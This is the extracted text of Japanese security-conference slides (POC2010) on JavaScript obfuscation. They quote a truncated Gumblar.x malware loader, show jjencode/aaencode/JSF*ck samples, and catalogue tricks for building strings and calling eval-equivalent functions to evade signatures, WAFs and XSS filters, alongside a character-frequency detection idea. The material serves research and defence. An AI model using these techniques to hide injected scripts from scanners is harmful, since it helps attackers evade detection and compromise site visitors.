難読化JavaScript

難読化 JavaScript NetAgent Co.,Ltd. Yosuke HASEGAWA

韓国 POC2010  韓国最大のセキュリティカンファレンス  2010年12月14日、15日  参加者200名くらい  海外からも有名スピーカー INNOVATION TO THE FUTURE NetAgent Co., Ltd.

韓国 POC2010 INNOVATION TO THE FUTURE NetAgent Co., Ltd.

本題 難読化JavaScript

難読化の理由  圧縮の副作用として  アンチウイルスやIDSのシグネイチャ 回避  アンチデバッグ INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化：圧縮の副作用として  配信サイズの縮小  Google Closure Compiler  Yahoo! YUI Compressor  Microsoft Ajax Minifier INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化：圧縮の副作用として INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化：圧縮の副作用として INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化：圧縮の副作用として  圧縮されたJavaScriptのデバッグ  deminify ツールはいろいろ  Fiddlerでdeminified JSを返す  Webブラウザのデバッガで解析 INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化：シグネイチャの回避  パターンマッチの回避が目的  容易に亜種を生成  「解析のしにくさ」は副次的?  Gumblar、Gumblar.x など INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化 : Gumblar.x
<script>/*GNU GPL*/ try{
window.onload = function(){
var If0y2m9d6n3gx = document.createElement(
's)(c&&r&i@&$p(t))@&@....'
.replace(
/&|¥(|@|#|¥!|¥$|¥^|¥)/ig, ''));
If0y2m9d6n3gx.setAttribute('type',
't$&&^e$)#x@(#@t^/^@#)j&^@a$!&^)v$a(!$!s
$$$c^r@))i$@p^@)t^!!$'
.replace(/&|#|¥)|¥!|@|¥^|¥$|¥(/ig, ''));
If0y2m9d6n3gx.setAttribute('src',
'h&(t##t(^@p&$$:#@^/$)($/#!) … (.@c)o!$$m!!(/('
.replace(/¥$|#|¥^|@|¥(|&|¥)|¥!/ig, ''));

INNOVATION TO THE FUTURE

NetAgent Co., Ltd.

難読化：Gumblar  文字列リテラルに記号を挿入  ‘文$字#%列’.replace( /記号/, '' );  機械的に生成可能  変数名が長い  var If0y2m9d6n3gx, Jydcftfn0k ;  英数字のみ? INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化 : Gumblar.x  パターンマッチでない検出アプローチ  文字の出現頻度 a-zA-Z0-9 と &#)!@^$( の割合 Gumblar : 30% - 55% jQuery : 87% Twitter : 88% INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化：シグネイチャの回避  特定サイトのWAF/IDSの回避が目的  一撃必殺? 一期一会?  亜種の生成は不要  あまり知りません ^^;  最終的には <script> <iframe>な どを挿入 INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化 : アンチデバッグ  解析しにくいコード  ブラウザ依存でも可?  趣味の世界  jjencode, aaencode, JSF*ck INNOVATION TO THE FUTURE NetAgent Co., Ltd.

jjencode
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}
+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}
+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._
$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+
($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$
=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$
$+"¥""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"¥¥"+$.__$+$.$$_+$._$_+$.__+"(¥¥
¥"¥¥"+$.__$+$.__$+$.___+$.$$$_+(![]+"")[$._$_]+(![]+"")[$._$_]+$._$+",¥¥
"+$.$__+$.___+"¥¥"+$.__$+$.__$+$._$_+$.$_$_+"¥¥"+$.__$+$.$$_+$.$$_
+$.$_$_+"¥¥"+$.__$+$._$_+$._$$+$.$$__+"¥¥"+$.__$+$.$$_+$._$_+"¥¥"+
$.__$+$.$_$+$.__$+"¥¥"+$.__$+$.$$_+$.___+$.__+"¥¥¥")"+"¥"")())();

http://utf-8.jp/public/jjencode.html
INNOVATION TO THE FUTURE

NetAgent Co., Ltd.

• http://utf-8.jp/public/jjencode.html

aaencode
ﾟωﾟﾉ= /｀ｍ´）ﾉ ~┻━┻ //*´∇｀*/ ['_']; o=(ﾟｰﾟ) =_=3; c=(ﾟΘﾟ) =(ﾟｰﾟ)-(ﾟｰﾟ); (ﾟ
Дﾟ) =(ﾟΘﾟ)= (o^_^o)/ (o^_^o);(ﾟДﾟ)={ﾟΘﾟ: '_' ,ﾟωﾟﾉ : ((ﾟωﾟﾉ==3) +'_') [ﾟΘﾟ] ,ﾟｰﾟﾉ :(ﾟ
ωﾟﾉ+ '_')[o^_^o -(ﾟΘﾟ)] ,ﾟДﾟﾉ:((ﾟｰﾟ==3) +'_')[ﾟｰﾟ] }; (ﾟДﾟ) [ﾟΘﾟ] =((ﾟωﾟﾉ==3) +'_')
[c^_^o];(ﾟДﾟ) ['c'] = ((ﾟДﾟ)+'_') [ (ﾟｰﾟ)+(ﾟｰﾟ)-(ﾟΘﾟ) ];(ﾟДﾟ) ['o'] = ((ﾟДﾟ)+'_') [ﾟΘﾟ];(ﾟ
oﾟ)=(ﾟДﾟ) ['c']+(ﾟДﾟ) ['o']+(ﾟωﾟﾉ +'_')[ﾟΘﾟ]+ ((ﾟωﾟﾉ==3) +'_') [ﾟｰﾟ] + ((ﾟДﾟ) +'_')
[(ﾟｰﾟ)+(ﾟｰﾟ)]+ ((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [(ﾟｰﾟ) - (ﾟΘﾟ)]+(ﾟДﾟ) ['c']+((ﾟ
Дﾟ)+'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ (ﾟДﾟ) ['o']+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ];(ﾟДﾟ) ['_'] =(o^_^o) [ﾟoﾟ] [ﾟ
oﾟ];(ﾟεﾟ)=((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟДﾟ) .ﾟДﾟﾉ+((ﾟДﾟ)+'_') [(ﾟｰﾟ) + (ﾟｰﾟ)]+((ﾟｰﾟ==3) +'_')
[o^_^o -ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟωﾟﾉ +'_') [ﾟΘﾟ]; (ﾟｰﾟ)+=(ﾟΘﾟ); (ﾟДﾟ)[ﾟεﾟ]='¥¥';
(ﾟДﾟ).ﾟΘﾟﾉ=(ﾟДﾟ+ ﾟｰﾟ)[o^_^o -(ﾟΘﾟ)];(oﾟｰﾟo)=(ﾟωﾟﾉ +'_')[c^_^o];(ﾟДﾟ) [ﾟoﾟ]='¥"';(ﾟ
Дﾟ) ['_'] ( (ﾟДﾟ) ['_'] (ﾟεﾟ+(ﾟДﾟ)[ﾟoﾟ]+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+
((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+
((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+
(ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ (ﾟΘﾟ)+ (ﾟ
Дﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟoﾟ]) (ﾟΘﾟ)) ('_');

http://utf-8.jp/public/aaencode.html
INNOVATION TO THE FUTURE

NetAgent Co., Ltd.

• http://utf-8.jp/public/aaencode.html

JSF*ck (+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+ [])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+( !+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(! ![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[] )[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[] ]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][( ![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]] +[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+ []+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+ []]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[] +!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[]) [!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]] +(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[] +[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][( ![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]] )[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[ +[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+ []+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[ ]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+!+[]]+( [][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[ +!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[] +[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+ [])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+ []+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+( ![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+! +[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])() http://utf-8.jp/public/jsfuck.html INNOVATION TO THE FUTURE NetAgent Co., Ltd.

• http://utf-8.jp/public/jsfuck.html

jjencodeによる攻撃  http://www.malwaredomainlist.com/forums/index. php?topic=4354.0  http://extraexploit.blogspot.com/2010/10/dollarsjavascript-code-yet-another.html INNOVATION TO THE FUTURE NetAgent Co., Ltd.

• http://www.malwaredomainlist.com/forums/index.
• http://extraexploit.blogspot.com/2010/10/dollars-

jjencodeによる攻撃  現実的には攻撃には不向き  亜種の生成が困難  IE7以下で動作しない  「エンコード」なのでデコードが簡 単  文字種から容易に検出可能 INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化の技法いろいろ  変数の使いまわし、ロジックの裁断  ヘタクソなプログラムと一緒  単純にノイズを埋め込む  JavaScriptの柔軟性を利用  window["alert"](1)  eval("alert(1)") INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化の技法 : 数値の生成  数値を使わないコードの記述が可能に  数値でないものに演算子を適用 "2" * "3" // 6 +[] -~NaN // 0 - -1 == 1 ""^"" // 0 xor 0 == 0 INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化の技法 : 論理値の生成
 true / false を直接記述しないコー
ドが可能に
 論理値でないものに論理演算子を適用
![]
""==''
[]<{}

INNOVATION TO THE FUTURE

// false
// true
// true

NetAgent Co., Ltd.

難読化の技法 : 文字列の生成  8進数、16進数で表記 "¥101¥x42"  JS or ブラウザのエスケープ関数 unescape("%41%42") String.fromCharCode(0x41,0x42) atob("QUI=") INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化の技法 : 文字列の生成
 文字列でないものに文字列演算子を適
用で、string にキャスト
{}+""
//"[object Object]"
[]+![]
// "false"
[]["$"]+"" // "undefined"

 配列形式で1文字取り出し
([]+![])[ 0 ] // 'f'

INNOVATION TO THE FUTURE

NetAgent Co., Ltd.

難読化の技法 : 文字列の操作  文字の切り出し "abcd"[ 0 ]  引用符を使わないリテラル文字列 /ABCD/.source // 正規表現 <>ABCD</> // E4X FF INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化の技法 : 文字列の操作
 文字の連結

"A".concat("B")
["A","B"].join().replace(/,/g,"")
<>{"A"}{"B"}</a>
// E4X FF

INNOVATION TO THE FUTURE

NetAgent Co., Ltd.

難読化の技法 : 文字列を実行  DOM経由 write("<script>...</script>")  JS内でeval eval( "alert(1)" ) INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化の技法 : 文字列を実行  eval 相当の機能 setTimeout("alert(1)", 0 ) Function("alert(1)")() Number.constructor("alert(1)")() execScript("alert(1)", "jscript") //IE INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化の技法 : 文字列を実行  eval 相当の機能 crypto.generateCRMFRequest( 'CN=0', 0, 0, null, 'alert(1)', 384,null,'rsa-dual-use') // FF execScript( "#@~^CAAAAA==C^+.D`8#mgIAAA= =^#~@","jscript.encode") // IE INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化の技法 : windowの取得 window["alert"](1) window["eval"]("alert(1)") INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化の技法 : windowの取得 window, self, this, top, parent x=''.split,x(null) Date.constructor('return this')() (0,[].sort)() INNOVATION TO THE FUTURE NetAgent Co., Ltd.

難読化の技法 : 将来…  ブラウザ依存の積極的活用  主ターゲットを絞る、ブラウザごと に違うexploit等  アンチデバッガ  WebWorkersが利用可能 INNOVATION TO THE FUTURE NetAgent Co., Ltd.

参考資料  Our Favorite XSS Filters/IDS and how to Attack Them http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNavaFavoriteXSS-SLIDES.pdf  JavaScript From Hell http://proidea.maszyna.pl/CONFidence09/2/CONFidence2009_mario_heiderich.pdf  sla.ckers.org web application security forum :: XSS Info http://sla.ckers.org/forum/list.php?2  sla.ckers.org web application security forum :: Obfuscation http://sla.ckers.org/forum/list.php?24 INNOVATION TO THE FUTURE NetAgent Co., Ltd.

• http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-
• http://proidea.maszyna.pl/CONFidence09/2/CONFidence2009_mario_heiderich.pdf
• http://sla.ckers.org/forum/list.php?2
• http://sla.ckers.org/forum/list.php?24